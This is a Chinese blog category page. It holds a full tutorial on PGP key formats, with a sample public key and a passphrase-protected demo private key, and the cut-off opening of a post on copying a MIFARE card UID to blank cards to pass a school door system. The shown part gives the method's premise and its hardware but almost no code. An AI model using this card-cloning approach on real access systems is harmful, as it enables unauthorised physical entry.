Category:Privacy

Found 5 records. At Page 1 / 1.

深入淺出 PGP (Pretty Good Privacy) 公私鑰格式

-
更新於

簡單介紹

何謂 PGP?簡言之,就是一款可以方便使用者進行加密、簽署驗證的一個應用。

主要功能涵蓋但不限於:

  1. 用於 Email 或任何通訊軟體,加密傳輸任何機密訊息、檔案。
  2. 建立校驗機制,保證軟體、檔案不被修改。
  3. 對文件實施電子簽名,作為一種身份驗證(簽章)的概念。

PGP 運作原理

首先,要使用 PGP,必須先生成一組公鑰、私鑰。何謂公鑰、私鑰?公鑰,全名公開金鑰,簡單來說就是一個特製的鑰匙,可以放心的散播、外流沒有關係,反之,私鑰就是不可以外洩的機密鑰匙。

假如,Bob 要傳送一個機密訊息給 Alice,它就要把公鑰告訴 Alice,Alice 用那個公鑰把訊息加密後,再把加密後的訊息傳給 Bob,Bob 能用他持有的私鑰進行解密。

相當於,Bob 寄送了一個帶有鎖頭的盒子給 Alice,Alice 收到後,把機密裝在盒子裡,並關上盒子(上鎖),一旦鎖上,連 Alice 也無法打開盒子,因為 Alice 沒有鑰匙,只有 Bob 擁有鑰匙打開盒子。之後 Alice 再把已經裝了機密訊息並鎖上的盒子寄回給 Bob,Bob 收到後,能夠用 Bob 擁有的私鑰解開鎖頭,打開盒子,拿到裡面的機密訊息。

這就是所謂的「非對稱加密」,這裡就不細說原理了,有興趣的讀者可以搜尋一下「RSA」等相關算法。

PGP Key Server(金鑰伺服器)

一旦擁有屬於自己的 PGP 金鑰對後,你就可以把自己的公開金鑰上傳到網路上,有一些專門的伺服器就是用來存放這些公開金鑰的,例如我下面列出的這些網站,Ubuntu 的金鑰伺服器、MIT 的金鑰伺服器等。

這些伺服器都是開放給任何人使用的,你可以把你的公鑰上傳,別人就能透過搜尋你的 Email 找到你上傳的公鑰。

下圖就是搜尋到我上傳的公鑰,身份為 Weil Jimmer <me@weils.net>。

如何生成 PGP 金鑰

您可以透過網路上的一些免費軟體來生成金鑰對,例如我做的一個線上生成金鑰的工具。進入網頁後,填入名字 (Name)、電子郵件 (Email)、密碼 (Password),然後按下最左邊的生成金鑰按鈕 (Generate Keypair) 即可。

或是使用其他工具也能生成,我在 Windows 上是安裝 gpg4win & Kleopatra。

公鑰範例

下面這一串亂碼就是生成的「公開金鑰」(Public Key)。

通常由 -----BEGIN PGP PUBLIC KEY BLOCK----- 和 -----END PGP PUBLIC KEY BLOCK----- 包裹住。

這一段金鑰必須完整一字不漏的上傳到公開的金鑰伺服器,或是分享給寄件者的。這樣他們才能用你的公鑰加密機密訊息傳給你。

-----BEGIN PGP PUBLIC KEY BLOCK-----

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
Lm9yZyPFkGMOMeVyD7ajCtH3nPwAJ1ABYNC4dd017xWEqlzIApsMFiEExKFq
MWLE1byhQ3LI0CPP3POB6JMAACgrEADFJe3O8HDmOXNqS3nlJZm2dvp0jGk3
mOsHW/EIbjMF2upF+1I5pAgKAkm5Bq4wi1MctazEzqjNyqjBl/YFPId9VLls
Gy6Yknw0LgHuaFdDJgrDv2xe5IxUajJ4JZJUBVgIooFVlDxOgGQa/nIbAvBi
KTztUAvKq/zs/dYqCNVp/hnDqsOtsu5LXhQuNylOIrVEwY5V2je4gsTQ1P4u
L+LuHfKCQ62pgwOezciZZqKZU2pqt8nXk/QSetP+gKais7HuNPpNI137Tb8W
ez4h+YAvxUi6Dzw4GhIPEdnQyLcRUj6/NDkPQk5xcCmuEJdP+C8omUapJYNi
e63INod4JK0vi838HzNTMYEjqyD12cGr6dH9jOawQ2RwWlCfobxnbadjHiDE
gANwTWsSfeMCteyh7Qobr+2GNVcGaO5ksb5b3gIUsntzPdheJaJjlKvDQ+ru
sKwbn/9+NsNy67dx6hCpjak6GigjcO85JXueFyywo+O+sTWCYFr1AwLL7y6r
JXRn06pU0vN21/Q9fMkh1lb+s6jkgfcI9F6u2b/HNfUpAP95F92ZjhQnz4t/
LoDwQb/l+Qv+Bj3mpVqHkxHLBrlS/49eKnQ1jU7j6dp3Ric6Xi+SypiShMjq
5s4ZEIti4d7LoyscfyWKWb7dL2AGUNafHdgmn7Ih3C4QARt6US7vig==
=mU5T
-----END PGP PUBLIC KEY BLOCK-----

私鑰範例

而私鑰通常由 -----BEGIN PGP PRIVATE KEY BLOCK----- 和 -----END PGP PRIVATE KEY BLOCK----- 夾住。長得像是如下:

-----BEGIN PGP PRIVATE KEY BLOCK-----

xcaGBGjX8iYBEADH6fWdMoFXmTsd4B9fUAqrBy0p/rcCbfxJKLnzA1G2q3Po
JuKLquWd6wRvDokuAK7drlA5wrG6o1cWQ2rBfyyyj1sJsNvlCLjD4jMbrF9J
/H2f4xoi14lWxNPHcM5PjXIMRCgjxAqr4cK/pK0xGK7lAPlfv6Nc1Jk1SvI3
JlKvIO7zbMeQDEYiDom9s39+/IHCIYUnhFMW0sJ0sSbGai1JswvrJQkusauw
Fn/vNqxwk66ZEjT7W2LWmJVMlu4mLgROv/3A/y/4+X16xmgDVqzcsGeGsZjM
8wIMg6Ji22C6zccnYbZOlYqrDEvlUVm4ji/CelaUFn/AFeSHCLOiL048F5rP
yan1iM16vaFCA1IGH9+6G/n0MyxN6ZChGTzIf0c3IBeMzUyQgIJ4oIdnwXt3
Ag8shGDzXK95s9PRBfNtWv15nxKRn/0uE6O3XIPD588/HgnWgfXZS6VBT3+8
H/wslCd9uxsckMz5xOW4majn9Uz5IeCVb+3f6z2uJ9v4AQcD7oE4l3TqTO0O
PN3ELPPpSQaJdJw57iCDo9Ie4Ui1VpEf2KuCtNVXFVHs0dXMex24qB4TQ/21
22aNQ0t/Do9WZPcjekE0BJuZVx1OmbWsbNcoQpbUQqn0CX0xzx1j9j9VsAmt
yOzIlF4/NoKVOxLTNkp3iTmzEQ7o4XWZ8Jhe3QARAQAB/gkDCC8GKd0iGfhs
4AAAAAAAAAAAAAAAAAAAAAC/xkSE/3vHCCF7rUZXHtuTNdEfKx6pNlRaPtEK
i0MeDD/OFnNaYFdsqTydDLyl7RNX92Zd9+5eHdqpFceEoefE6eHPtFNMNe0N
civHRZSsBsll9qvpZznvAuBmu7rghtRPtn5/ds9jEH87LiklLS7/o0DDMEK7
h1Vj80zKfRRNubHK8Ic2tlOV0D7k9h4iLu+hU8ub8NY9gVP2Pf9DEjheGDek
7JUjNc5R8rUKYOc5CZjT6uWgfNfGXmVb5nXkpysU3Wpb1HAR7VGl1SkICQCA
+MpJo4y54iiSgh0/iaikZNUCKZWOw/1XSukOZ4wfw2gJwcI6/h5h64xw7/w1
Z8GNDwzV00PxuiYNOQZ02H35YKyd18zV/atltolYuQxRbxcSsRvN+qehBET5
DBhDWYGXsX44ISVzj4tf5lyvCTy4HQTMIIf/IW6nL9dypG4KiIBbitpSWnz0
eeHq4QMMF6QAtZc3NtgcS/lzvc4IJSAnwLxCSw7vr5Ej6qXCqqYBkKELh8/W
pG5dgakfBWm46+tCtwt1cpkDYBDuRye4AKtcu7mtvXvs65cI9Z0aQctDZ92F
sk5jYffjhplPhMBnJsvnKHjGLxBPNMMFFHstx/kYS4rTlU5pw5Kx+6DSIyxL
H2xy1b/SjcRzKifYFcLN0WUANHI5JsQ4abOLGUh85ZY2mGMFJR4NsCMxsbwa
qWcy60ln1LWGrysC7VSluohGt6h5TZHxUEuXTUAAT/rKzUhCCCCM3fIi0Y7B
33cDx7geDTxdP/7wGQ+eKuXNFRc7duAEv1tVTUwwEqQz8Js+bl+yXGMge01E
x8+0x+jwXJ4eY/R8HXlUfZCbjfX3aB7xE2iwhiunVFq59bF3SZUtnB+dWyR8
1iwrx3uQlXo1i3MApEv6AC4rPByd0di7mtC0gCgMQE1+g6tL/xy0hmsZTNCV
jB6c+TkCNYtSIoMy0jQ56N5L081PIUgoVpXOE5hvnoIcewfeB/kcv3bpG+pq
IFMsPVc/WBMbBWIVYODWZ6q10QqChJAcMnYk3h03idP9rvaHQDPbleXqQtiI
17/z/MFyk2Pv3GuOdvZjia1MFCM45IHPYXtcO/yl9ndn1Iqk3337b2Hl9mbM
s1PiJ2hd9Yq9IOau33Eagnp80Cf8dT6PzGJKPcx4vGwD8gsCYFIolBBDtLll
wWDd/WzPU1sQRittZvRzaxVo5c8gytn0SCqJ+UVaAluzbRNVAmra8oyM9i4Y
wkDroNMCg6vBkQnAWhBuukphLNYDCu4pdklmYYj4eYcdpa0Jqc/oIjqaJhyh
PqXJszETlgWJKiA2OhLS9kDtxzc33V6J24z6Kz4EhopMXH6hEWVk6i+nrzFG
QmHLu5I8GFRjC1WOXP5Wiz7RYLOpK6SGu9CoKhgIlkjdI/+7he4IF/TexPKV
GPD1+AbGYhcRrCae8XEFznmfIhVhL6geIee+gOCzFBEaiCE/RerYdEOW2gkp
L8iEIsuQyseOdxE4elPpyNTGEuAmGiNYXWGlZKa5WUvNvM055Cj5FB5Qvbm9
0Q9FEL97yzEqZ00v/fzUOPe3znZvK3Ly6x1KTLoZIMlJy1XL9biMq/D8xIXE
Qg1GIKnENOXsxwD+7r5BoTJvSRuaUFFHhmKAMjmtyj4y3ND+7DYyem2y3P2+
ZnWYufSERO+5Ob7jUoQm32o6+NV82RnGGcHN7LRDTpf49SM1MfmPlLmfH96u
03h5W0b8MdcMClfTON48Mg8bDbXNF0FsaWNlIDxhbGljZUB3ZWlscy5uZXQ+
wsHRBBMBCgCFBYJo1/ImAwsJBwkQ0CPP3POB6JNFFAAAAAAAHAAgc2FsdEBu
b3RhdGlvbnMub3BlbnBncGpzLm9yZ0wBcSWol4qDh6Vcmn3S8rOX5rXlpbgu
eYxqxPZOMppVBRUKCA4MBBYAAgECGQECmwMCHgEWIQTEoWoxYsTVvKFDcsjQ
I8/c84HokwAAJ0IP/0XnrqmbdWomQMWVa87B4zRRXK579xXx2+Ev2GqAOIOG
rXjrHPL/bi57f0FwAlX6Sz3O05WLbOnbAgKx1ZKwi88hnPSyM0pNAOrB7sbr
N/L7rMuWI6MdGA1es3QryDdNnNMLWP6coiAUlX8Xg7F1j9T0lTkoh4JdMbJq
mjlsYSsZ3TIYgl9KKItoleK0x6SKPNILTSwIPRezWewQifBA961qM0X1RjTO
8+KLEEwvbVXfBZiW0TdiLw9yN97iBS0qfAolYyIms/Uy9JsWbyLj0ptr9Fbp
bfUm90oifs96SYLrTIUiwqsSao1QQ9u8RUZSDFbkleOBWT+fuIi4H6iwQwI9
Pbu9jJI5hULeYZqUQM6K/RR/C9Iw1kRE4T9O/ePXvst7cvpMNcBGjSU056cd
1Qg0rYbrUyHTgydnwRvX2dhYzf49sjjnCwiFOcgmyWx2CIMSGJZRbaWtWci+
R8vE2GxhCULbrk+N+kYCuHpereduLO6GxNFWZa/4vkk1wbdn6WLULDafdpWM
cBxrTu0VyurOpfplaBC4f6OWwyBZ9dxtUF1OblfpXDxIsUWXLEL7J1FnfvAe
djCnIIAo61DNsBbne8mGV8VrOsBLhlF1ceP4FChtbXUhl2XVWV+zXRXZ0yyZ
21Punsn3LUFHuyj4edpNoPzpuSR6J0A70V12GJhGx8aGBGjX8iYBEADD7UZc
PKCqqQz/bYPlqM2qNzuhXtuXpI/+BB/e2jsEqxK5xOq1Qri4BfVucqowDcqo
DTJ7JxcOJgOs6rcEsNX5v3qG9WDy1W6i9z+7E5pNY+xIkfT58T5haTpFCjtb
sQL5FzLlrLiuvXadqvt2UIPqqo9ZyJD9F7r5XydQK0QJ+GrcZTZKMY6vj+RP
sTIlc/HSXbKFE/+ecwdx7TcjhDI+gPEwn0Zd+2lPeghcsTCpMeqST5aLYAEO
rht1dTFbRdkQsMeWyFBAcKbjZC6Z6Gf7E/xC79juZb/6HNCZ9yuevigPkwqZ
P19987vf/+YCbN8eVn5U6KZTgYwaPYCR54VIDyeOmMa58PIH+luCIom3d15i
8uPYCcNo+KO09t9ZUDfhM3jjq6DSGvw1vGMur7LydF1eKUs0WaiOj3qjXAka
6bG35bmhCBhQ/msRt3ulMArjo5yDjtZFcXeQKMDsAiZk/ZLRjBsZ4j+RfkJN
zTfwklMnaIm7eLvUZcnagWqfZnOoU8L+3ewHJZ/gwevG7UMS6iQGBFb4kCFd
lEjoX/8+6i5dDskXkrVPwu63lwT8hczrR6DunnmM2rRJsi/zf7DfA0SFn6hD
tDPJ1j/l+rjemY8vTZPAfnT/ROyQP2k3W4+a4zsKXXgE3jkq+ORoS8HR+44M
oDan+EQ8/nIAM9o/kwARAQAB/gkDCJmaCRzaQs+r4AAAAAAAAAAAAAAAAAAA
AADhQTqE2XyFgbyLbWlt00qvQrI/XUZT9sX1vuUDcAdirQ6ehQtqhv4CB+zw
1Y3iMbNsDDVZAjcSG5Js4nQewYwCzTXSYwb3fGXZ1bN6ZYOusBpffYPudnYX
yfIB5lTPJufdtKst28hgAA5VDSzrKBiA3uV/yf3lUKWyZFLU54Yhg67NEHKq
fSeqqZHR5gQp1XJKztCjB2pHmzyqmOLFl4MO9io6Z/mLfBqpFI7aBxcIiXpg
p3DA2ulCI1PuDs4DCgABEhDSlr71pS7Oh30vn9C4qXVM5j8AaVXGeXclWwAr
GgZzHtEk1hEENQ8a3mg8snqhhr2IjlhQXw8XXCijXMmuvPmNdWF8+YyAAG5i
0uaC6v1pLlAv4n/oxX8Wo4ZcHb5GbczZkP1pNPO0aSZtF1dCuCelhFHZIdtm
e/Q9iLhG8lC5llXWx+0p5m7wHuVeR+xkDwAMRJym5Nv5pHdQnjiu8RzM4+Wo
TOlWGB8Y5KNNlyWVoS6SXXGkoXIFaLUkI2+Xf2wwKzRS5+7V3IJNjk2LXxlm
lGPoo8yZNLnq4hUreZbuF3bkIMLBP/0GXBQUKOI7mNJHR587rRQEtUxyWwok
E3b3W5ns4tJGVL+yG1ZT+0RfhZxBo9Ex393E4GDYvuH/qdvMERx1S8TgYyU4
7JHzvo0IDVzPmZldsSRxDFDVBt7GMmZ1xol/DUWvCwUMmmoAHZBRaKFf68tw
11weWROJHy2cJZmcwgHXRauNrl6aDuduCYoNq1NiZlgx8+W4NwQxmCAD52uj
unDxf3XCkTfcaUWPoCQZQXVp4SkEgxYsrXdLkaaKww7dBVtpoByBV/E48Swm
wQqaD8rhIQhN73ecas3fPTHIMOfAkjBNBryK6rN4FaOWk/dLZ+JkQvThy1JJ
6widRT+8ZkryeMtcahRihGtYP5X8ROCxJHgsE9hYqFjadZng1IBScAzJU7lS
geKyia4pk4DfC0ADFSh14ClNcq3flErLl9Pyq7T8Rgj6BXNJbv9OYl73TNbB
CzTRqAYRTgBKnbwFezW3iUXmrNFwNWndwWrV31DuCJwThnwKK40Ybq3CS2/C
S5UvE97cxYL7dYigWxto4jY9OI5/QyO4PEhDYsUAPzsFzzVzc2oAtfgEehSF
bV8qYKXL1+dfGQnOe+uBspt31TYfyA6HAP/+lz2gI+3pef09HXO81anJo+mb
bqjelyhCjLoawxOhYHNen9f3c2VI1MWzVa35Y/WDxnadIdCKY6rfzJRz6OKg
2ys26fPpZVkz0VH++lMwk+QG8zbrjDfuLIQ1TG/X6audXzQivEsldkTJoN0m
0tyGThvTiTe+qpod620SN57jIqWy0+1RwyvVdwXJok0d9kowBmjcoe9SOBU3
PgTEkXwYKtDfvVF62ejAwgjY/iPZfe3SqcgY6vsTTtHSrSZs2Zky75yA8vhw
0IHz6r842fuJlZbPbQ73k1h8Cl0r0A2e21/8yl1xlC4EVG3tCkUmG24Xi8RW
wlp6FvoRtsqD0leeVP0dOOHejqOq7dJ00pJATN/lE03aheGq7/RxzJEcAezF
sjO62RjaN2/tlf5ubAONxH9fAE7zO067DVIlxAuNK8uSZJ90UyoXvHS84BKw
Rl+rNzzYs08gGpkNkrjyOzAEH+xZ0S1BFhxJnju+nK/PX3TaofulQtnipmzc
ClvPFwgKIyuuJnWCcLxAC0twrnagtWh49v6Sy+D3rmqR7V9/feENIOwCiRty
ELwpY8zCwbwEGAEKAHAFgmjX8iYJENAjz9zzgeiTRRQAAAAAABwAIHNhbHRA
bm90YXRpb25zLm9wZW5wZ3Bqcy5vcmcjxZBjDjHlcg+2owrR95z8ACdQAWDQ
uHXdNe8VhKpcyAKbDBYhBMShajFixNW8oUNyyNAjz9zzgeiTAAAoKxAAxSXt
zvBw5jlzakt55SWZtnb6dIxpN5jrB1vxCG4zBdrqRftSOaQICgJJuQauMItT
HLWsxM6ozcqowZf2BTyHfVS5bBsumJJ8NC4B7mhXQyYKw79sXuSMVGoyeCWS
VAVYCKKBVZQ8ToBkGv5yGwLwYik87VALyqv87P3WKgjVaf4Zw6rDrbLuS14U
LjcpTiK1RMGOVdo3uILE0NT+Li/i7h3ygkOtqYMDns3ImWaimVNqarfJ15P0
EnrT/oCmorOx7jT6TSNd+02/Fns+IfmAL8VIug88OBoSDxHZ0Mi3EVI+vzQ5
D0JOcXAprhCXT/gvKJlGqSWDYnutyDaHeCStL4vN/B8zUzGBI6sg9dnBq+nR
/YzmsENkcFpQn6G8Z22nYx4gxIADcE1rEn3jArXsoe0KG6/thjVXBmjuZLG+
W94CFLJ7cz3YXiWiY5Srw0Pq7rCsG5//fjbDcuu3ceoQqY2pOhooI3DvOSV7
nhcssKPjvrE1gmBa9QMCy+8uqyV0Z9OqVNLzdtf0PXzJIdZW/rOo5IH3CPRe
rtm/xzX1KQD/eRfdmY4UJ8+Lfy6A8EG/5fkL/gY95qVah5MRywa5Uv+PXip0
NY1O4+nad0YnOl4vksqYkoTI6ubOGRCLYuHey6MrHH8lilm+3S9gBlDWnx3Y
Jp+yIdwuEAEbelEu74o=
=h6Cl
-----END PGP PRIVATE KEY BLOCK-----

私鑰通常都有密碼保護,並且建議需要密碼保護,不然任何人取得後,都能解密機密訊息。

如果私鑰帶有密碼的話,在解密訊息時,需要輸入密碼才能解密,可以多一層保障。

PGP 金鑰包含的資訊介紹

通常生成的公鑰裡面會夾帶一些資訊:像是 金鑰 ID、Email、姓名、使用的加密方法、用途等。

這是解碼上面的範例後,得到的結果:

[Main-Key]

    Key ID: d023cfdcf381e893
    Fingerprint: c4a16a3162c4d5bca14372c8d023cfdcf381e893
    Algorithm: RSA 4096-bit
    Not-Before: Sat Sep 27 2025 22:18:14 GMT+0800 (台北標準時間)
    Not-After: Never
    Key Usage: Certify, Sign

[User-ID]

    Alice <alice@weils.net>
    Not-Before: Sat Sep 27 2025 22:18:14 GMT+0800 (台北標準時間)
    Not-After: Never

    [Self-Certification]

        Issuer Key ID: d023cfdcf381e893
        Issuer Fingerprint: c4a16a3162c4d5bca14372c8d023cfdcf381e893
        Created: Sat Sep 27 2025 22:18:14 GMT+0800 (台北標準時間)
        Expired: Never
        Key Usage: Certify, Sign

[Sub-Key]

    Key ID: 5c560e520ccfc542
    Fingerprint: 2a7c0cd288b68ae30d6a508b5c560e520ccfc542
    Algorithm: RSA 4096-bit
    Not-Before: Sat Sep 27 2025 22:18:14 GMT+0800 (台北標準時間)
    Not-After: Never
    Key Usage: Encrypt-Communicate, Encrypt-Files

    [Binding-Signature]

        Issuer Key ID: d023cfdcf381e893
        Issuer Fingerprint: c4a16a3162c4d5bca14372c8d023cfdcf381e893
        Created: Sat Sep 27 2025 22:18:14 GMT+0800 (台北標準時間)
        Expired: Never
        Key Usage: Encrypt-Communicate, Encrypt-Files

PGP 公鑰除了包含姓名、電子郵件、加密所用的資訊外,還帶有過期時間等內容。其結構並不單純只是使用者資訊和 RSA 加密所用的 e 或 N 。

PGP 公鑰的基礎結構

不論是私鑰或公鑰都會帶有可以被解碼的公開資訊。結構如下:

主金鑰 (Main Key)
   ├─使用者 (User ID)
   │  ├─使用者自簽章 (Self-Certification)
   │  ├─其他使用者簽章 (Other-Certification)
   │  └─撤銷簽章 (Revocation-Certification)
   └─子金鑰 (Sub Key)
      ├─綁定簽章 (Binding-Signature)
      └─撤銷簽章 (Revocation-Signature)

原則上一個 PGP 公鑰,可以包含無數個使用者,不一定一個公鑰只能有一個 Email,可以有很多個 User ID 都綁定到同個公鑰上。

使用者 ID

每個使用者 ID 都由它下面的簽章來認證,也就是 Self-Sign 的部分,也可以由其他使用者認證,你如果有多個聯絡人,而且把那些聯絡人的公鑰設定為信任,那麼由那些聯絡人(簽章)保證的公鑰 User ID 就是有效的。

在通常情況下,只有自簽章(由主金鑰所簽發)的證書是有效的。所以即便其他人保證簽名,但不受信任網允許的話,仍然不可信。

如果這個身份(Name、Email)不再使用了,你也可以使用主金鑰去簽發一個撤銷簽章(Revocation-Certification),完全不用擔心一旦換了 Email 怎麼辦?

當然,如果撤銷了身份 ID,必須要把撤銷後的公鑰上傳到公開的 PGP 金鑰伺服器,向全世界宣告該公鑰上的身份 ID 不再有效。

子金鑰 (Sub-Key)

在 PGP 中,還有所謂的子金鑰隱藏在其中,通常建立 PGP 公鑰都會有至少有兩把鑰匙,其中一把是主金鑰,另一把是子金鑰。

主金鑰負責簽發身份 ID,以及簽發子金鑰,用於將子金鑰關聯到主金鑰上。像是一個群組管理員的概念。就像使用者 ID 一樣,主金鑰可以簽發無數個子金鑰,並把每個子金鑰關聯到主金鑰上。

每個子金鑰都由它之下的綁定簽名(Binding-Signature)所保證合法性。每個綁定簽名的簽發者通常是主金鑰。

為何需要那麼多子金鑰?

在 PGP 中,每個金鑰都有不同的職權,像是主金鑰只擁有簽發能力,不允許用於檔案加密、通訊加密。

你可以為每個子金鑰 (Sub-Key) 設計不同的用途。

在 RFC 4880 中規定了金鑰的用途:


0x01 - This key may be used to certify other keys.
0x02 - This key may be used to sign data.
0x04 - This key may be used to encrypt communications.
0x08 - This key may be used to encrypt storage.
0x10 - The private component of this key may have been split by a secret-sharing mechanism.
0x20 - This key may be used for authentication.
0x80 - The private component of this key may be in the possession of more than one person.

主金鑰擁有的職權為 (0x01) 負責簽發其他金鑰。而通常子金鑰都是用來加密用途 (0x04、0x08)。

在這種設計中,你可以定期地撤銷子金鑰,或添加其他子金鑰用於其他用途,例如認證 (x020) SSH 等。

撤銷簽名 Revocation-Certification

前面提到過,可以自由的撤銷子金鑰、使用者ID,具體如何進行的呢?

其實非常簡單,只需要用主金鑰在 User-ID 或 Sub-Key 建立一個撤銷簽名,這樣就可以讓該 User-ID 或 Sub-Key 不再視為有效。

如果要讓整個主金鑰撤銷怎麼辦?一樣通過主金鑰發布緊急的撤銷聲明,加在主金鑰的簽名區即可。

當然也必須要把這個聲明傳到公開的金鑰伺服器,這樣其他人也能透過專用的軟體去更新他們自己電腦儲存的金鑰。

金鑰被撤銷,在 RFC 4880 甚至還規定了一些理由,可以附加在撤銷簽名的聲明中,像是:沒有理由、金鑰外洩了等,或是自訂理由附在裡面。

 0  - No reason specified (key revocations or cert revocations)
 1  - Key is superseded (key revocations)
 2  - Key material has been compromised (key revocations)
 3  - Key is retired and no longer used (key revocations)
 32 - User ID information is no longer valid (cert revocations)

有效期

不論是 User-ID 或 Sub-Key 都能設定一個過期的時間,像是指定 bob@email.com 這個身份只能使用一年,然後其他身份是永久的。

通常金鑰 (Key) 本身是不包括期限的,不論是主金鑰還是次金鑰,都是由它的簽名帶給他的期限,也就是所謂的期限其實是可以修改的。

而 User-ID 下的 Self-Cert 規定了主金鑰的使用期限,只要延長了自簽章的期限,主金鑰的期限就會跟著增加。

而子金鑰 (Sub-Key) 則是由綁定簽名決定有效期,當然這些都是可以修改的。重複簽發綁定簽名就能替換掉原本的子金鑰期限。

總結:

PGP 作為一個隱私保障的工具,是非常好的傳輸機密訊息的一個方式。不僅可以生成只有本人才能驗證的專屬憑證外,也能建立信任網路,簽發其他人的公鑰,使其他人的公鑰也受信任。

一些人可能以為 PGP 只能針對單個身份驗證其實是錯誤的,PGP 允許多使用者驗證,甚至允許同時使用兩個公鑰加密,使得寄送者、收件者都能解密該機密訊息。

通過釋放自己的公鑰到有一定名氣的公鑰伺服器,可以建立起與陌生人的安全加密通訊的環境。

By Weil Jimmer


This entry was posted in General, Privacy, Tools By .

RFID MIFARE卡 修改 UID 進入門禁系統

-
更新於

0x00 前言

最近會想寫這篇文章主要是在網路上無意間看到了RFID相關裝置,突然萌生很久以前一直想玩的事情,於是乎,就打算來實作門禁卡的複製。再加上好久沒寫文章,現在我也懶得管是不是技術成分很重才寫,以後文章我大概也是這樣,寫得很淺,除非我研究了什麼很困難的東西。

其次,真心很感謝 Joe Jimmy 的裝置贊助,不然我大概也不會去做這個實驗,至少要等到以後購買裝備時才會做起。

0x01 目的

為了通過感應 MIFARE卡 的門禁系統,因此需要複製有效的密碼卡而進入該門。

0x02 原理

目前大部分學校門禁系統都採用 13.56 MHz 頻率的 RFID 感應卡,且學生證普遍都是和悠遊卡公司合作的學生證,基本上都是有 KeyA 和 KeyB 和 控制位元保護的。因此門禁系統想用學生證刷過,"應該是"只能採用識別 UID 的方式來驗證使用者的身分,進而決定是否開放使用者進入。如果是另外發放密碼卡,則可能該密碼卡有經過加密,驗證使用者可能不是驗證 UID,若如此,這篇文章就不適用於這種驗證方法。本篇文章僅針對 UID 部分的驗證做出複製卡 (Clone Card)。

0x03 配備

  1. Arduino Mega 2560
  2. MFRC522
  3. 數張 可修改 UID 的 S50 空白卡
  4. 蜂鳴器(非必須,覺得有聲音比較好。)

0x04 結果

以下是我寫卡UID的程式碼是參考 這篇文章 寫的,稍作修改,lib 也是採用同篇 GitHub 文章。

#include <SPI.h>
#include <MFRC522.h>
